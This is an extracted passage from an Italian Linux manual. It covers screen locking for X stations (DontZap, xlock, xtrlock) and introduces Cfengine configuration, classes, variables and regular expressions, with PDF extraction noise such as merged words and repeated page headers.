La protezione del lavoro su una stazione grafica può essere fatta in modo simile a quello cheriguarda la console, attraverso programmi che la bloccano, eventualmente attivando un salva-schermo. Tuttavia, esiste un problema in più: per evitare che sia possibile interrompere il funzio-namento delservente grafico attraverso la combinazione[ Ctrl+Alt+Backspace], occorre la direttiva‘DontZap ’ nella sezione‘ServerFlags ’ :

Section "ServerFlags"Option DontZap# Option Dont Zoom

EndSection

1Lockvc GNU GPL2Vlock GNU GPL

Page 117: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Misure di sicurezza per l’elaboratore personale senza rete 2101

191.3.1 $ xlock

xlock [ opzioni]

‘xlock ’ 3 è il programma più comune per il blocco di una stazione grafica X. Sono disponibiliuna grande quantità di opzioni; in particolare l’opzione‘ -mode ’ prevede un elenco molto lungodi argomenti composti da una sola parola chiave, che serve a definire il tipo di effetto grafico dautilizzare come salva-schermo.

In condizioni normali, se non si usano opzioni che vanno in senso contrario, basta premere un ta-sto qualunque per interrompere il salva-schermo; quindi, con l’inserimento dellaparola d’ordinedell’utente che lo ha avviato, si può concludere il funzionamento di‘xlock ’ .

A titolo di esempio viene mostrato il caso di un salva-schermo nero:

$ xlock -mode blank

Nel caso non si utilizzasse alcuna opzione, si otterrebbe un effetto grafico salva-schermo, sceltocasualmente tra quelli disponibili.

191.3.2 $ xtrlock

xtrlock

‘xtrlock ’ 4 è un programma molto semplice, che non prevede alcun argomento. Il suo scopo èsolo quello di bloccare l’uso della tastiera e del mouse, senza attivare alcun salva-schermo. Losblocco della stazione grafica si ottiene soltanto digitando laparola d’ordine dell’utente (sen-za alcun campo di inserimento), concludendo con la pressione di[ Invio ]. Se laparola d’ordineinserita è errata, viene emesso un segnale acustico e quindi si può riprovare l’inserimento.

Appunti di informatica libera 2003.01.01 ---Copyright© 2000-2003 Daniele Giacomini --daniele @ swlibero.org

3Xlock software libero sottoposto a diverse licenze a seconda della porzione di codice coinvolto4Xtrlock GNU GPL

Page 118: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2102 Misure di sicurezza per l’elaboratore personale senza rete

Page 119: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Parte xxxvi

Cfengine192 Introduzione a Cfengine . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2104

192.1 Primo approccio con la configurazione . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2104

192.2 Sezioni e classi predefinite . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2106

192.3 Classi più in dettaglio . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2108

192.4 Variabili e stringhe . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2110

192.5 Espressioni regolari . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2113

193 Cfengine: sezioni di uso comune . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2114

193.1 Permessi e proprietà . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2114

193.2 Sezione control . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2114

193.3 Sezione classes o groups . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2115

193.4 Sezione copy . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2116

193.5 Sezione directories . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2118

193.6 Sezione disable . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2118

193.7 Sezione files . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2119

193.8 Sezione links . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2120

193.9 Sezione processes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2121

193.10 Sezione shellcommands . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2122

193.11 Sezione tidy . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2123

194 Cfengine attraverso la rete . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2125

194.1 Configurazione e avvio del demone . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2125

194.2 Filosofia del sistema di distribuzione di Cfengine . . . . . . . . . . . . . . . . . . . . . . . .2127

2103

Page 120: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Capitolo 192

Introduzione a CfengineCfengine1 è uno strano sistema di amministrazione di elaboratori Unix, la cui importanza si ap-prende solo con il tempo e con l’utilizzo. Il suo scopo è quello di facilitare l’amministrazione ditali sistemi operativi, soprattutto quando si dispone di un gruppo eterogeneo di questi su diversielaboratori. Questi capitoli dedicati aCfengine non pretendono di esaurire l’argomento, cercan-do piuttosto di semplificare il suo apprendimento, che poi può essere approfondito leggendo ladocumentazione originale.

A prima vista, si può intendereCfengine come l’interprete di un linguaggio molto evoluto. Inquesto capitolo si introduce l’uso specifico dell’eseguibile‘cfengine ’ , il cui scopo è interpretareun file di configurazione, ovvero il suoscript, agendo di conseguenza.

192.1 Primo approccio con la configurazione

Per funzionare, l’eseguibile‘cfengine ’ richiede la presenza di un file di configurazione, cheeventualmente può essere trasformato inscript, se ciò può essere conveniente. La comprensione,anche elementare, del modo in cui si configura questo programma, è la chiave per capire a cosapuò servire in generaleCfengine.

Il file di configurazione di‘cfengine ’ ha una struttura speciale, in cui però si possono inserirecommenti, preceduti dal simbolo‘#’ , e righe vuote o bianche. In particolare, a proposito deicommenti, se questi si collocano alla fine di una direttiva, devono essere staccati da questa conuno o più spazi orizzontali.

Le direttive del file di configurazione vanno inserite all’interno di sezioni ed eventualmente al-l’interno di classi. In altri termini, il file di configurazione si articola in sezioni, che possonocontenere direttive o scomporsi in classi, che a loro volta contengono le direttive. Come si inten-de, la suddivisione in classi è facoltativa, ma si tratta comunque di una caratteristica fondamentaledi Cfengine, in quanto consente di selezionare le direttive da prendere in considerazione in baseall’appartenenza o meno dell’elaboratore alle classi stesse.

Dal momento che il problema non è semplice da esporre, conviene iniziare subito con un esempioche possa essere verificato senza troppi problemi anche da un utente comune:

# Esempio di partenza

control:actionsequence = ( links )

links:/var/tmp/altra -> /tmp

Se questo file si chiama‘cfengine.conf ’ e si trova nella directory corrente, qualunque essa sia,se non è stata impostata la variabile di ambiente‘CFINPUTS’ , si può avviare l’interpretazione ditale file semplicemente avviando l’eseguibile‘cfengine ’ :

$ cfengine

Quello che si ottiene è soltanto la creazione delcollegamento simbolico‘ /var/tmp/altra ’ chepunta in realtà alla directory‘ /tmp/ ’ .

Se il file di configurazione fosse stato collocato altrove, eventualmente con un’altra denomina-zione, si poteva ottenere lo stesso risultato con il comando seguente, dove il nome del file vieneaggiunto nella riga di comando:

1CFengine GNU GPL

2104

Page 121: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Introduzione a Cfengine 2105

$ cfengine -f file_di_configurazione

Infine, per realizzare unoscript dalla configurazione, basta inserire all’inizio una riga simile aquella seguente (ammesso che l’eseguibile si trovi effettivamente in‘ /usr/bin/ ’):

#!/usr/bin/cfengine -f

In altri termini, loscript completo dell’esempio precedente sarebbe:

#!/usr/bin/cfengine -f# Esempio di partenza

control:actionsequence = ( links )

links:/var/tmp/altra -> /tmp

192.1.1 La variabile CFINPUTS

La variabile di ambiente‘CFINPUTS’ serve per definire un percorso di ricerca per il file di con-figurazione. In generale, se si utilizza l’opzione‘ -f ’ specificando un percorso assoluto, a partiredalla radice (qualcosa che inizia con‘ / ’), si tratta esattamente di quel file, altrimenti, se è dispo-nibile la variabile‘CFINPUTS’ , questa viene preposta al nome del file indicato. Per esempio, ilcomando

$ cfengine -f prova

fa riferimento precisamente al file di configurazione‘$CFINPUTS/prova ’ , ovvero al file ‘ ./prova ’ se la variabile‘CFINPUTS’ non è disponibile.

Quando non si indica il file di configurazione, si fa implicitamente riferimento al nome‘cfengine.conf ’ . In tal caso si tratta precisamente di‘$CFINPUTS/cfengine.conf ’ , ovverodel file ‘ ./cfengine.conf ’ in mancanza della variabile‘CFINPUTS’ .

192.1.2 Simulazione

Cfengine è un sistema molto potente, i cuiscript definiscono operazioni molto complesse conpoche direttive. Di fronte a direttive distruttive occorre essere sicuri del risultato che si ottiene ef-fettivamente. Per verificare cosa farebbeCfengine con la configurazione stabilita, senza eseguirerealmente la cosa, si può usare l’opzione‘ -n ’ , abbinata a‘ -v ’ : la prima simula l’esecuzione; laseconda mostra nel dettaglio cosa succede o cosa dovrebbe succedere.

Finché non si è sicuri del proprioscript o della propria configurazione, occorre ricordare difare tutte le prove utilizzando l’opzione‘ -n ’ .

Realizzando unoscript con questo intento, basta modificare la prima riga nel modo seguente:

#!/usr/bin/cfengine -n -v -f

Page 122: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2106 Introduzione a Cfengine

192.2 Sezioni e classi predefinite

Le direttive del file di configurazione vanno inserite all’interno di sezioni, che a loro volta pos-sono suddividersi in classi. Le sezioni rappresentano dei tipi di azione e i loro nomi sono giàstabiliti.

sezione_ovvero_tipo_di_azione:

definizione_della_classe::

direttiva_o_azione...

...

Negli esempi visti fino a questo punto, sono state mostrate le sezioni‘control ’ e ‘ links ’ .Nella sezione‘control ’ è stata inserita la direttiva‘actionsequence ’ , che ha l’aspetto di unassegnamento a una variabile:

control:actionsequence = ( links )

Le direttive, ovvero le istruzioni che possono apparire all’interno di classi o di sezioni non sud-divise in classi, possono occupare una o più righe, senza bisogno di simboli di continuazione esenza bisogno di simboli per la conclusione delle istruzioni stesse.

In questo caso particolare, si tratta di assegnare uno o più nomi, che rappresentano altrettantesezioni, alla sequenza di esecuzione. In pratica, la direttiva dell’esempio stabilisce che deve esse-re eseguita la sezione‘ links ’ . Se non venisse specificata in questo modo, la sezione‘ links ’non verrebbe presa in considerazione. Pertanto, la configurazione seguente non produrrebbealcunché:

# Non fa nulla

control:actionsequence = ( )

links:/var/tmp/altra -> /tmp

Il prossimo esempio dovrebbe chiarire definitivamente questo particolare. Si osservi il fatto chesi vuole eseguire prima la sezione‘ tidy ’ e poi la sezione‘ links ’ , anche se l’ordine in cui sonomostrate poi le sezioni è inverso.

control:actionsequence = ( tidy links )

links:/var/tmp/altra -> /tmp

tidy:/var/tmp pattern=* age=30 recurse=inf

In questo caso, la sezione‘ tidy ’ serve a programmare la cancellazione di file e directory. Perla precisione, la direttiva che si vede cancella tutti i file e le directory a partire da‘ /var/

tmp/ ’ , purché la data di accesso sia trascorsa da almeno 30 giorni. Si osservi anche l’opzio-ne ‘ recurse=inf ’ , che richiede una ricorsione infinita nelle sottodirectory. In condizioni nor-mali, questa ricorsione non dovrebbe attraversare icollegamenti simbolici, mentre per otteneretale comportamento occorrerebbe aggiungere l’opzione‘ -l ’ . Pertanto, anche se dovesse esisteregià il collegamento simbolico‘ /var/tmp/altra ’ , che punta a‘ /tmp/ ’ , questa directory nonverrebbe scandita se non richiesto espressamente.

Page 123: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Introduzione a Cfengine 2107

Le classi sono la caratteristica fondamentale diCfengine, perché consentono di distinguere le di-rettive di una sezione in base a una sottoclassificazione che serve a selezionare un gruppo ristrettodi elaboratori. In pratica, consente di indicare direttive differenti in base alla «classificazione» acui appartengono gli elaboratori presi in considerazione. Si osservi l’esempio seguente:

control:actionsequence = ( links )

links:linux_2.2.15::

/var/tmp/altra -> /tmplinux_2.2.16::

/var/tmp/altre -> /tmp/var/tmp/altri -> /tmp

Anche se poco significativo, l’esempio è abbastanza semplice e dovrebbe permettere di compren-dere il senso della distinzione in classi. In questo caso, la sezione‘ links ’ si articola in due classi,denominate‘ linux_2.2.15 ’ e ‘ linux_2.2.16 ’ . Se viene usato questo file in un elaboratorecon un sistema GNU/Linux avente unkernel 2.2.15, si ottiene ilcollegamento simbolico‘ /var/

tmp/altra ’ , mentre con unkernel 2.2.16 si otterrebbero duecollegamenti simbolici:‘ /var/

tmp/altre ’ e ‘ /var/tmp/altri ’ . Naturalmente, questa operazione può non avere molto si-gnificato in generale, ma l’esempio serve a mostrare la possibilità di indicare direttive diverse inbase alla classe a cui appartiene l’elaboratore.

La classe serve principalmente a individuare il sistema operativo (nel caso di GNU/Linux si trattadel nome delkernel), in modo da cambiare azione in funzione delle consuetudini di ogni ambien-te. In questo caso, volendo selezionare un sistema GNU/Linux senza specificare la versione delkernel sarebbe stato sufficiente indicare la classe‘ linux ’ . Tuttavia, come si vede nell’esempio,esistono delle classi più dettagliate che permettono di raggiungere anche altre caratteristiche. Perconoscere quali sono le classi valide nell’elaboratore che si utilizza in un certo momento, bastail comando seguente:

$ cfengine -p -v

A titolo di esempio, ecco cosa potrebbe comparire:

GNU Configuration Engine -cfengine-1.5.3Free Software Foundation 1995, 1996, 1997Donated by Mark Burgess, Centre of Science and TechnologyFaculty of Engineering, Oslo College, 0254 Oslo, Norway

------------------------------------------------------------------------

Host name is: dinkelOperating System Type is linuxOperating System Release is 2.2.15Architecture = i586

Using internal soft-class linux for host dinkel

The time is now Tue Oct 24 16:11:18 2000

------------------------------------------------------------------------

Additional hard class defined as: 32_bitAdditional hard class defined as: linux_2.2.15Additional hard class defined as: linux_i586Additional hard class defined as: linux_i586_2.2.15Additional hard class defined as:

Page 124: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2108 Introduzione a Cfengine

linux_i586_2_2_15__1_Thu_Aug_31_15_55_32_CEST_2000

GNU autoconf class from compile time: linux-gnu

Careful with this - it might not be correct at run time if you haveseveral OS versions with binary compatibility!

Address given by nameserver: 192.168.1.1dinkel: No preconfiguration fileAccepted domain name: undefined.domain

Defined Classes = ( any debian linux dinkel undefined_domain Tuesday Hr16 Min11Min10_15 Day24 October Yr2000 32_bit linux_2_2_15 linux_i586 linux_i586_2_2_15linux_i586_2_2_15__1_Thu_Aug_31_15_55_32_CEST_2000 linux_gnu 192_168_1192_168_1_1 )

Negated Classes = ( )

Installable classes = ( )

Global expiry time for locks: 120 minutes

Global anti-spam elapse time: 0 minutes

Extensions which should not be directories = ( )Suspicious filenames to be warned about = ( )

Le classi disponibili sono quindi quelle elencate nell’insieme‘Defined Classes ’ . Si può os-servare che è accessibile anche una classe con il nome della distribuzione GNU/Linux (in questocaso èDebian), oltre agli indirizzi IP abbinati all’interfaccia di rete.

192.3 Classi più in dettaglio

Le classi non sono necessariamente nomi singoli; possono essere delle espressioni composteda più nomi di classe, uniti tra loro attraverso operatori booleani opportuni. Prima di arrivare adescrivere questo, è bene riassumere le classi più comuni e vedere come si possono definire delleclassi nuove. Una classe elementare può essere:

• la parola chiave‘any ’ , che rappresenta tutti gli elaboratori;

• il nome del sistema operativo o delkernel, assieme a una serie di varianti che includonoaltre caratteristiche dell’architettura del sistema;

• il nome finale dell’elaboratore (senza il dominio eventuale a cui appartiene);

• il nome che identifica una componente del tempo (giorno, ora, minuto, ecc.), come si vedenella tabella192.1;

• il nome di un gruppo di classi definito per comodità dell’utilizzatore;

• il nome di una classe libera definito per comodità dell’utilizzatore.

Page 125: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Introduzione a Cfengine 2109

Tabella 192.1. Elenco delle classi di Cfengine riferite al tempo.

Nome DescrizioneMonday, Tuesday, Wednesday,... Giorni della settimana.Hr00, Hr01,... Hr23 Ore del giorno.Min00, Min01,... Min59 Minuti di un’ora.Min00_05, Min05_10,... Min55_00 Intervalli di cinque minuti.Day1, Day2,... Day31 Giorni del mese.January, February,... December Mesi dell’anno.Yr1999, Yr2000, Yr2001,... Anni.

Si può definire un gruppo di classi attraverso la sezione‘classes ’ o ‘groups ’ , in cui le direttiveservono per definire delle classi nuove raggruppando più classi preesistenti:

classes: | groups:

gruppo_di_classi = ( classe_1 classe_2... )...

Per esempio, la dichiarazione seguente serve a raggruppare in due classi nuove le ore del mattinoe le ore della sera, supponendo che ciò possa avere un significato pratico di qualche tipo:

classes:OreDelMattino = ( Hr06 Hr07 Hr08 Hr09 )OreDellaSera = ( Hr18 Hr19 Hr20 Hr21 )

Inoltre si possono definire delle classi in base al risultato soddisfacente di un programma o diuno script. In altri termini, se un programma restituisceVero, questo fatto può essere preso inconsiderazione come motivo valido per generare una classe. L’esempio seguente crea la classe‘miashell ’ se è presente il file‘ /bin/bash ’ oppure il file‘ /bin/zsh ’ :

classes:miashell = ( "/bin/test -f /bin/bash" "/bin/zsh" )

Si possono dichiarare anche delle classi fittizie, il cui significato si può comprendere solo in unsecondo momento. Queste classi fittizie si dichiarano nella sezione‘control ’ , con la direttiva‘addclasses ’ :

control:...

addclasses = ( classe_fittizia... )...

L’esempio seguente crea due classi fittizie, denominate‘bianchi ’ e ‘ rossi ’ :

addclasses = ( bianchi rossi )

Avendo più chiaro in mente cosa possa essere una classe elementare, si può iniziare a descriverela definizione di espressioni legate alle classi. Le espressioni in questione sono booleane, dalmomento che le classi, di per sé, rappresentano degli insiemi di elaboratori. In questo senso, lalogica booleana si intende correttamente come la logica degli insiemi. Gli operatori di questeespressioni sono elencati nella tabella192.2.

Tabella 192.2. Operatori logici delle espressioni riferite alle classi di Cfengine.

Operatore Descrizione( ) Le parentesi tonde hanno la precedenza nella valutazione.! NOT, ovvero insieme complementare.. AND, ovvero intersezione.| OR, ovvero unione.|| Modo alternativo di indicare OR.

Page 126: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2110 Introduzione a Cfengine

Per esempio, per indicare una classe complessiva che rappresenta indifferentemente un elabora-tore con sistema operativo GNU/Linux o GNU/Hurd, si potrà usare l’espressione‘ linux|hurd ’ .In pratica, si scrive così:

linux|hurd::

Per indicare una classe che rappresenti tutti gli elaboratori che non abbiano un sistema operativoGNU/Linux, si potrebbe usare l’espressione‘ !linux ’ , ovvero:

!linux::

A questo punto diventa più facile comprendere il senso delle classi fittizie che si possonodichiarare con la direttiva‘addclasses ’ . Si osservi l’esempio seguente:

control:actionsequence = ( links )addclasses = ( primo )

links:any.primo::

/var/tmp/altra -> /tmp

L’espressione‘any.primo ’ si avvera solo quando la classe elementare‘primo ’ è stata dichiaratacome nell’esempio; infatti,‘any ’ è sempre vera. In questo modo, anche se l’esempio non richie-derebbe tanta raffinatezza, basterebbe controllare la dichiarazione della direttiva‘addclasses ’per abilitare o meno la classe sottostante. In altri termini, è facile modificare un file di configu-razione che richiama in più punti la classe fittizia‘primo ’ , modificando solo una riga di codicenella sezione‘control ’ .

Il controllo sulla definizione di classi fittizie può avvenire anche al di fuori del file di configu-razione attraverso le opzioni‘ -D classe_fittizia’ e ‘ -N classe_fittizia’ . Nel primo caso, si ottiene ladichiarazione di una classe fittizia, mentre nel secondo si ottiene l’eliminazione di una classegià dichiarata nel file di configurazione. Per esempio, il comando seguente serve ad annullarel’effetto della dichiarazione della classe fittizia‘primo ’ , dell’esempio precedente.

$ cfengine -Nprimo -f prova.conf

192.4 Variabili e stringhe

Cfengine gestisce le variabili di ambiente, oltre ad altre variabili, in modo simile a quanto fannole shell. Queste variabili vengono espanse usando una delle due notazioni seguenti:

$( nome_variabile)$ nome_variabile

Per la precisione, le variabili diCfengine possono essere state ereditate dall’ambiente, posso-no essere state definite nella sezione‘control ’ , oppure possono essere variabili predefinite diCfengine. L’esempio seguente mostra la dichiarazione della variabile‘percorso ’ nella sezione‘control ’ :

control:actionsequence = ( tidy links )percorso = ( "/var/tmp" )

tidy:$(percorso) pattern=* age=30 recurse=inf

links:$(percorso)/altra -> /tmp

Page 127: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Introduzione a Cfengine 2111

Si intuisce che potrebbe essere più interessante dichiarare la variabile in questione all’interno diclassi diverse, in modo da aggiornare automaticamente il percorso di conseguenza. L’esempioseguente mostra due classi inventate,‘bianco ’ e ‘nero ’ , che non esistono in realtà:

control:actionsequence = ( tidy links )bianco::

percorso = ( "/var/tmp" )nero::

percorso = ( "/temp" )

tidy:$(percorso) pattern=* age=30 recurse=inf

links:$(percorso)/altra -> /tmp

Si può osservare in particolare che la direttiva‘actionsequence ’ , non appartenendo ad alcunaclasse, viene presa sempre in considerazione.

Le variabili predefinite diCfengine sono tali perché sono gestite automaticamente e servono arendere disponibili delle informazioni, oppure perché servono a definire delle informazioni speci-fiche. In altri termini, le prime vanno solo lette, mentre le altre vanno impostate opportunamentese richiesto. La tabella192.3mostra le variabili destinate alla sola lettura, mentre la tabella192.4mostra le variabili da impostare.

Tabella 192.3. Variabili interne di Cfengine, destinate alle sola lettura.

Variabile Descrizioneallclasses Elenca le classi attive.arch Architettura in modo dettagliato.binserver Servente NFS predefinito per dati binari.class Classe essenziale riferita al sistema operativo.date La data attuale.fqhost Il nome di dominio completo.ipaddress Un indirizzo IP significativo dell’elaboratore.year L’anno attuale.

Per quanto riguarda la variabile‘domain ’ , se questa non viene impostata espressamente, occorreconsiderare che potrebbe trattarsi del dominio che compone il nome dell’elaboratore, ovverociò che si legge e si imposta con il comando‘hostname ’ dei sistemi Unix. In pratica, se ilnome dell’elaboratore è stato impostato senza l’aggiunta del dominio di appartenenza, questavariabile restituisce probabilmente la stringa‘undefined.domain ’ . Lo stesso discorso vale perla variabile‘ fqhost ’ : se non si dispone del dominio finale nel nome restituito da‘hostname ’ , siottiene una cosa simile a‘ nome.undefined.domain ’ .

Tabella 192.4. Variabili interne di Cfengine, modificabili da parte dell’utilizzatore.

Variabile Descrizionedomain Il dominio, senza il nome iniziale dell’elaboratore.faculty, site Nome utilizzabile per definire il luogo.maxcfengines Numero massimo di processiCfengine concorrenti.repchar Carattere usato in sostituzione di‘ / ’ nei nomi di file.split Carattere usato per separare gli elenchi nelle variabili.sysadm Amministratore (nome o indirizzo di posta elettronica).checksumdatabase File destinato alla raccolta deicodici di controllo.

Page 128: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2112 Introduzione a Cfengine

In generale, i nomi delle variabili sono distinti anche in base all’uso di maiuscole e minuscole;tuttavia, le variabili predefinite possono essere usate con qualunque combinazione di letteremaiuscole e minuscole.

Esiste anche un altro gruppo di variabili speciali, in sola lettura, definite per facilitare l’inseri-mento di caratteri speciali all’interno di stringhe, quando non è possibile fare altrimenti. Questevariabili sono elencate nella tabella192.5.

Tabella 192.5. Variabili interne per la rappresentazione di caratteri speciali.

Variabile Descrizionecr Ritorno a carrello:<CR>.dblquote Apici doppi:‘ " ’ .dollar Dollaro: ‘$’ .lf Avanzamento di riga:<LF>.n Codice di interruzione di riga secondo l’architettura.quote Apice singolo:‘ ’ ’ .space Spazio singolo:<SP>.tab Tabulazione:<TAB>.

Le stringhe sono delimitate indifferentemente attraverso apici doppi e singoli, potendo usareanche gli apici singoli inversi. In pratica, si possono usare le forme seguenti:

" stringa"’ stringa’‘ stringa‘

Il significato è lo stesso e l’espansione delle variabili avviene in tutti i casi nello stesso modo.Disponendo di diversi tipi di delimitatori, è più facile includere questi simboli nelle stringhestesse. In questo senso va considerato il fatto che non esistono sequenze diescape; al massimo sipossono usare le variabili predefinite per la rappresentazione di caratteri particolari.

Le stringhe sono utilizzabili solo in contesti particolari, precisamente la definizione di valori daassegnare a una variabile dichiarata nella sezione‘control ’ e i comandi dishell nella sezione‘shellcommands ’ (che non è ancora stata mostrata).

192.4.1 Elenchi

Le variabili possono essere intese come contenenti un elenco di sottostringhe. In questi casi,la loro espansione può richiedere una valutazione ulteriore. Tutto ha inizio dalla variabile in-terna‘split ’ , che normalmente contiene il carattere‘ : ’ . In questo senso, si osservi l’esempioseguente:

control:actionsequence = ( tidy )elenco = ( "primo:secondo:terzo" )

tidy:/var/tmp/$(elenco) pattern=* age=0

Assegnando alla variabile‘elenco ’ la stringa‘primo:secondo:terzo ’ , si ottiene l’indicazio-ne di un elenco di tre sottostringhe:‘primo ’ , ‘secondo ’ e ‘ terzo ’ . A questo punto, la diret-tiva contenuta nella sezione‘ tidy ’ , si traduce nella cancellazione dei file‘ /var/tmp/primo ’ ,‘ /var/tmp/secondo ’ e ‘ /var/tmp/terzo ’ . Volendo cambiare il simbolo di separazione dellesottostringhe si agisce nella variabile‘split ’ , come si vede nell’esempio seguente, che ottienelo stesso risultato.

Page 129: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Introduzione a Cfengine 2113

control:actionsequence = ( tidy )split = ( " " )elenco = ( "primo secondo terzo" )

tidy:/var/tmp/$(elenco) pattern=* age=0

Naturalmente, si può ottenere l’espansione di variabili del genere solo nei contesti in cui questopuò avere significato.

192.5 Espressioni regolari

In contesti ben determinati, si possono indicare delleespressioni regolari.Cfengine utilizza leespressioni regolari ERE secondo le convenzioni GNU. Sono disponibili gli operatori riassuntinella tabella192.6.

Tabella 192.6. Elenco degli operatori delle espressioni regolari.

Operatore Descrizione

\Protegge il carattere seguente da un’interpretazione diversa daquella letterale.

^ Ancora dell’inizio di una stringa.. Corrisponde a un carattere qualunque.$ Ancora della fine di una stringa.

|Indica due possibilità alternative alla sua sinistra e alla suadestra.

( ) Definiscono un raggruppamento.[ ] Definiscono un’espressione tra parentesi quadre.[xy...] Un elenco di caratteri alternativi.[x- y] Un intervallo di caratteri alternativi.[^...] I caratteri che non appartengono all’insieme.x* Nessuna o più voltex. Equivalente a‘ x0, ’ .x? Nessuna o al massimo una voltax. Equivalente a‘ x0,1 ’ .x+ Una o più voltex. Equivalente a‘ x1, ’ .x n Esattamenten volte x.x n, Almenon volte x.x n,m Da n a m volte x.\b La stringa nulla all’inizio o alla fine di una parola.\B La stringa nulla interna a una parola.\< La stringa nulla all’inizio di una parola.\> La stringa nulla alla fine di una parola.\w Un carattere di una parola, praticamente‘ [[:alnum:]_] ’ .\W L’opposto di‘ \w ’ , praticamente‘ [^[:alnum:]_] ’ .

Le espressioni regolari GNU includono anche le classi di caratteri (nella forma‘ [: nome:] ’ ,come prescrive lo standard POSIX, mentre mancano isimboli di collazione e le classi diequivalenza. Per un discorso generale sulleespressioni regolari, si veda anche il capitolo316.

Appunti di informatica libera 2003.01.01 ---Copyright© 2000-2003 Daniele Giacomini --daniele @ swlibero.org

Page 130: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Capitolo 193

Cfengine: sezioni di uso comuneUna volta compresa a grandi linee l’impostazione della configurazione diCfengine, bisogna en-trare nell’analisi specifica di ogni sezione che si voglia prendere in considerazione, dal momentoche ognuna può avere le sue caratteristiche e le sue direttive specifiche. In questo capitolo sidescrivono solo alcune sezioni tipiche, in modo superficiale, allo scopo di consentire un utilizzoelementare diCfengine.

Si osservi che in generale non conta l’ordine in cui sono indicate le sezioni e le direttiveall’interno delle sezioni; inoltre, le direttive possono utilizzare più righe senza bisogno disimboli di continuazione.

193.1 Permessi e proprietà

In più sezioni differenti si usano delle direttive che contengono opzioni con lo stesso nome e conlo stesso significato. Si tratta in particolare di quelle opzioni che definiscono le caratteristiche deipermessi e delle proprietà di file e directory. È il caso di mostrare queste opzioni una volta solaper tutte:

mode=modalità

owner= utente_proprietario

group= gruppo_proprietario

La modalità è un numero ottale oppure una stringa di permessi. La stringa di permessi può essereespressa come avviene con il comando‘chmod’ . Si osservino gli esempi seguenti.

Opzione Descrizione

mode=0775 Imposta la modalità 07758 in modo preciso.

